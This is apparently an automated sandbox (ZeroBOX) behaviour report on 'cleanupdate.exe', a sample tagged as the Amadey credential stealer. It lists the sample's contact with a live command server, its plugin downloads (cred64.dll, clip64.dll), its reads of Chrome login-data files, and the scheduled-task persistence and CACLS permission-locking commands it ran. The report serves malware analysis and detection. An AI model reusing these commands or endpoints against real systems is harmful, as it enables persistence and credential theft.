popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

cleanupdate.exe

Browser Login Data Stealer Amadey Hide_EXE Malicious Library UPX Code injection HTTP ScreenShot Internet API Http API PE64 .NET EXE PE32 PE File DLL OS Processor Check JPEG Format AntiVM AntiDebug
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6403_us Oct. 27, 2023, 5 p.m. Oct. 27, 2023, 5:02 p.m.
Size 1.6MB
Type PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
MD5 c9aa05e75a369370955cf71b12a2121a
SHA256 3a5addf4fef89f397e1abe68c3e4605e13f1aefb20ac7a705e944dde4ccd5b8a
CRC32 C37EA312
ssdeep 24576:6dczsM3Cfptr89p7vyCuWk1s0BClDKBcPME5OLi:wWsM3Cfptr8z+CuWk1PBClDKBcBwLi
Yara
  • PE_Header_Zero - PE File Signature
  • IsPE32 - (no description)
  • hide_executable_file - Hide executable file
  • Is_DotNET_EXE - (no description)

Name Response Post-Analysis Lookup
No hosts contacted.
IP Address Status Action
185.196.8.176 Active Moloch
89.208.104.64 Active Moloch

Time & API Arguments Status Return Repeated

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

WriteConsoleW

 buffer: SUCCESS: The scheduled task "Utsysc.exe" has successfully been created.
console_handle: 0x00000007
1 1 0

WriteConsoleA

 buffer: A
console_handle: 0x00000007
1 1 0

WriteConsoleA

 buffer: r
console_handle: 0x00000007
1 1 0

WriteConsoleA

 buffer: e
console_handle: 0x00000007
1 1 0

WriteConsoleA

 buffer: y
console_handle: 0x00000007
1 1 0

WriteConsoleA

 buffer: o
console_handle: 0x00000007
1 1 0

WriteConsoleA

 buffer: u
console_handle: 0x00000007
1 1 0

WriteConsoleA

 buffer: s
console_handle: 0x00000007
1 1 0

WriteConsoleA

 buffer: u
console_handle: 0x00000007
1 1 0

WriteConsoleA

 buffer: r
console_handle: 0x00000007
1 1 0

WriteConsoleA

 buffer: e
console_handle: 0x00000007
1 1 0

WriteConsoleA

 buffer: Y
console_handle: 0x00000007
1 1 0

WriteConsoleA

 buffer: N
console_handle: 0x00000007
1 1 0

WriteConsoleA

 buffer: p
console_handle: 0x00000007
1 1 0

WriteConsoleA

 buffer: r
console_handle: 0x00000007
1 1 0

WriteConsoleA

 buffer: o
console_handle: 0x00000007
1 1 0

WriteConsoleA

 buffer: c
console_handle: 0x00000007
1 1 0

WriteConsoleA

 buffer: e
console_handle: 0x00000007
1 1 0

WriteConsoleA

 buffer: s
console_handle: 0x00000007
1 1 0

WriteConsoleA

 buffer: s
console_handle: 0x00000007
1 1 0

WriteConsoleA

 buffer: e
console_handle: 0x00000007
1 1 0

WriteConsoleA

 buffer: d
console_handle: 0x00000007
1 1 0

WriteConsoleA

 buffer: f
console_handle: 0x00000007
1 1 0

WriteConsoleA

 buffer: i
console_handle: 0x00000007
1 1 0

WriteConsoleA

 buffer: l
console_handle: 0x00000007
1 1 0

WriteConsoleA

 buffer: e
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: C:\Users\test22\AppData\Local\Temp\ea7c8244c8\Utsysc.exe
console_handle: 0x00000007
1 1 0

WriteConsoleA

 buffer: p
console_handle: 0x00000007
1 1 0

WriteConsoleA

 buffer: r
console_handle: 0x00000007
1 1 0

WriteConsoleA

 buffer: o
console_handle: 0x00000007
1 1 0

WriteConsoleA

 buffer: c
console_handle: 0x00000007
1 1 0

WriteConsoleA

 buffer: e
console_handle: 0x00000007
1 1 0

WriteConsoleA

 buffer: s
console_handle: 0x00000007
1 1 0

WriteConsoleA

 buffer: s
console_handle: 0x00000007
1 1 0

WriteConsoleA

 buffer: e
console_handle: 0x00000007
1 1 0

WriteConsoleA

 buffer: d
console_handle: 0x00000007
1 1 0

WriteConsoleA

 buffer: f
console_handle: 0x00000007
1 1 0

WriteConsoleA

 buffer: i
console_handle: 0x00000007
1 1 0

WriteConsoleA

 buffer: l
console_handle: 0x00000007
1 1 0

WriteConsoleA

 buffer: e
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: C:\Users\test22\AppData\Local\Temp\ea7c8244c8\Utsysc.exe
console_handle: 0x00000007
1 1 0

WriteConsoleA

 buffer: A
console_handle: 0x00000007
1 1 0

WriteConsoleA

 buffer: r
console_handle: 0x00000007
1 1 0

WriteConsoleA

 buffer: e
console_handle: 0x00000007
1 1 0

WriteConsoleA

 buffer: y
console_handle: 0x00000007
1 1 0

WriteConsoleA

 buffer: o
console_handle: 0x00000007
1 1 0

WriteConsoleA

 buffer: u
console_handle: 0x00000007
1 1 0

WriteConsoleA

 buffer: s
console_handle: 0x00000007
1 1 0

WriteConsoleA

 buffer: u
console_handle: 0x00000007
1 1 0

WriteConsoleA

 buffer: r
console_handle: 0x00000007
1 1 0
Time & API Arguments Status Return Repeated

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x006d00c8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x006d00c8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x006d0188
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x006d0388
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x006d0388
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x006d0448
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0031f4a0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0031f4a0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0031f560
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0031f760
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0031f760
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0031f820
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0
registry HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid
file C:\Program Files\Mozilla Firefox\firefox.exe
registry HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\firefox.exe\Path
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
suspicious_features POST method with no referer header, POST method with no useragent header, Connection to IP address suspicious_request POST http://185.196.8.176/7jshasdS/index.php
suspicious_features POST method with no referer header, POST method with no useragent header, Connection to IP address suspicious_request POST http://185.196.8.176/7jshasdS/index.php?scr=1
suspicious_features GET method with no useragent header, Connection to IP address suspicious_request GET http://185.196.8.176/7jshasdS/Plugins/cred64.dll
suspicious_features GET method with no useragent header, Connection to IP address suspicious_request GET http://185.196.8.176/7jshasdS/Plugins/clip64.dll
request POST http://185.196.8.176/7jshasdS/index.php
request POST http://185.196.8.176/7jshasdS/index.php?scr=1
request GET http://185.196.8.176/7jshasdS/Plugins/cred64.dll
request GET http://185.196.8.176/7jshasdS/Plugins/clip64.dll
request POST http://185.196.8.176/7jshasdS/index.php
request POST http://185.196.8.176/7jshasdS/index.php?scr=1
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 1532
region_size: 655360
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x003e0000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1532
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00440000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1532
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73f31000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1532
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73f32000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1532
region_size: 2228224
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x020e0000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1532
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x022c0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1532
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x003e2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1532
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x003fc000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1532
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00910000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1532
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00415000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1532
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0041b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1532
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00417000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1532
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00911000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1532
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x003ec000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1532
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00406000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1532
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x003ea000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1532
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00912000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1532
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x003fa000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1532
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0040a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1532
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00407000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1532
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x003fd000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1532
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00913000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1532
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00914000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1532
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00915000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1532
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00916000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1532
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00917000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1532
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00918000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1532
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00919000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1532
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0091a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1532
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0091b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1532
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0091d000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1532
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x045bf000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1532
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x045b0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1532
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0091e000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1532
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x003fe000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1532
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0091f000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1532
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x045a0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1532
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x045a1000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1532
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x045a2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1532
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x045a3000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1532
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x045a4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1532
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x045a5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1532
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x045a6000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1532
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x045a7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1532
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x003ff000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1532
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x045a8000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1532
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x045a9000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1532
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x045aa000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1532
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x045ab000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1532
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x045ac000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Local State
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Login Data-journal
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Login Data
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Login Data-wal
file C:\Users\test22\AppData\Local\Chromium\User Data\Default\Login Data
file C:\Users\test22\AppData\Roaming\465dbc52837d81\clip64.dll
file C:\Users\test22\AppData\Roaming\465dbc52837d81\cred64.dll
cmdline "C:\Windows\System32\cmd.exe" /k echo Y|CACLS "Utsysc.exe" /P "test22:N"&&CACLS "Utsysc.exe" /P "test22:R" /E&&echo Y|CACLS "..\ea7c8244c8" /P "test22:N"&&CACLS "..\ea7c8244c8" /P "test22:R" /E&&Exit
cmdline SCHTASKS /Create /SC MINUTE /MO 1 /TN Utsysc.exe /TR "C:\Users\test22\AppData\Local\Temp\ea7c8244c8\Utsysc.exe" /F
cmdline "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN Utsysc.exe /TR "C:\Users\test22\AppData\Local\Temp\ea7c8244c8\Utsysc.exe" /F
cmdline C:\Windows\system32\cmd.exe /S /D /c" echo Y"
file C:\Users\test22\AppData\Local\Temp\ea7c8244c8\Utsysc.exe
file C:\Users\test22\AppData\Local\Temp\ea7c8244c8\Utsysc.exe
file C:\Users\test22\AppData\Roaming\465dbc52837d81\clip64.dll
Time & API Arguments Status Return Repeated

ShellExecuteExW

 show_type: 0
filepath_r: C:\Users\test22\AppData\Local\Temp\ea7c8244c8\Utsysc.exe
parameters:
filepath: C:\Users\test22\AppData\Local\Temp\ea7c8244c8\Utsysc.exe
1 1 0

ShellExecuteExW

 show_type: 0
filepath_r: SCHTASKS
parameters: /Create /SC MINUTE /MO 1 /TN Utsysc.exe /TR "C:\Users\test22\AppData\Local\Temp\ea7c8244c8\Utsysc.exe" /F
filepath: SCHTASKS
1 1 0

ShellExecuteExW

 show_type: 0
filepath_r: cmd
parameters: /k echo Y|CACLS "Utsysc.exe" /P "test22:N"&&CACLS "Utsysc.exe" /P "test22:R" /E&&echo Y|CACLS "..\ea7c8244c8" /P "test22:N"&&CACLS "..\ea7c8244c8" /P "test22:R" /E&&Exit
filepath: cmd
1 1 0

ShellExecuteExW

 show_type: 0
filepath_r: rundll32.exe
parameters: C:\Users\test22\AppData\Roaming\465dbc52837d81\cred64.dll, Main
filepath: rundll32.exe
1 1 0

ShellExecuteExW

 show_type: 0
filepath_r: rundll32.exe
parameters: C:\Users\test22\AppData\Roaming\465dbc52837d81\clip64.dll, Main
filepath: rundll32.exe
1 1 0
Time & API Arguments Status Return Repeated

Process32FirstW

 snapshot_handle: 0x0000000000000134
process_name: [System Process]
process_identifier: 0
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000134
process_name: System
process_identifier: 4
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000134
process_name: smss.exe
process_identifier: 232
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000134
process_name: csrss.exe
process_identifier: 308
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000134
process_name: wininit.exe
process_identifier: 344
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000134
process_name: csrss.exe
process_identifier: 356
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000134
process_name: winlogon.exe
process_identifier: 392
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000134
process_name: services.exe
process_identifier: 436
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000134
process_name: lsass.exe
process_identifier: 452
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000134
process_name: lsm.exe
process_identifier: 460
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000134
process_name: svchost.exe
process_identifier: 560
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000134
process_name: svchost.exe
process_identifier: 636
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000134
process_name: svchost.exe
process_identifier: 716
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000134
process_name: svchost.exe
process_identifier: 780
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000134
process_name: svchost.exe
process_identifier: 824
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000134
process_name: audiodg.exe
process_identifier: 896
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000134
process_name: svchost.exe
process_identifier: 984
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000134
process_name: svchost.exe
process_identifier: 340
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000134
process_name: spoolsv.exe
process_identifier: 1060
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000134
process_name: taskhost.exe
process_identifier: 1112
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000134
process_name: svchost.exe
process_identifier: 1120
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000134
process_name: dwm.exe
process_identifier: 1192
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000134
process_name: explorer.exe
process_identifier: 1236
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000134
process_name: svchost.exe
process_identifier: 1744
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000134
process_name: pw.exe
process_identifier: 1888
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000134
process_name: SearchIndexer.exe
process_identifier: 1652
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000134
process_name: pw.exe
process_identifier: 1940
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000134
process_name: taskhost.exe
process_identifier: 1000
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000134
process_name: SearchProtocolHost.exe
process_identifier: 1820
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000134
process_name: cmd.exe
process_identifier: 1712
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000134
process_name: conhost.exe
process_identifier: 1020
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000134
process_name: SearchFilterHost.exe
process_identifier: 1508
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000134
process_name: pw.exe
process_identifier: 444
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000134
process_name: Utsysc.exe
process_identifier: 2432
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000134
process_name: svchost.exe
process_identifier: 1684
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000134
process_name: mscorsvw.exe
process_identifier: 2156
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000134
process_name: mscorsvw.exe
process_identifier: 2096
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000134
process_name: sppsvc.exe
process_identifier: 2084
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000134
process_name: rundll32.exe
process_identifier: 2372
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000134
process_name: rundll32.exe
process_identifier: 2300
1 1 0

Process32NextW

 snapshot_handle: 0x0000000000000134
process_name: rundll32.exe
process_identifier: 2464
1 1 0
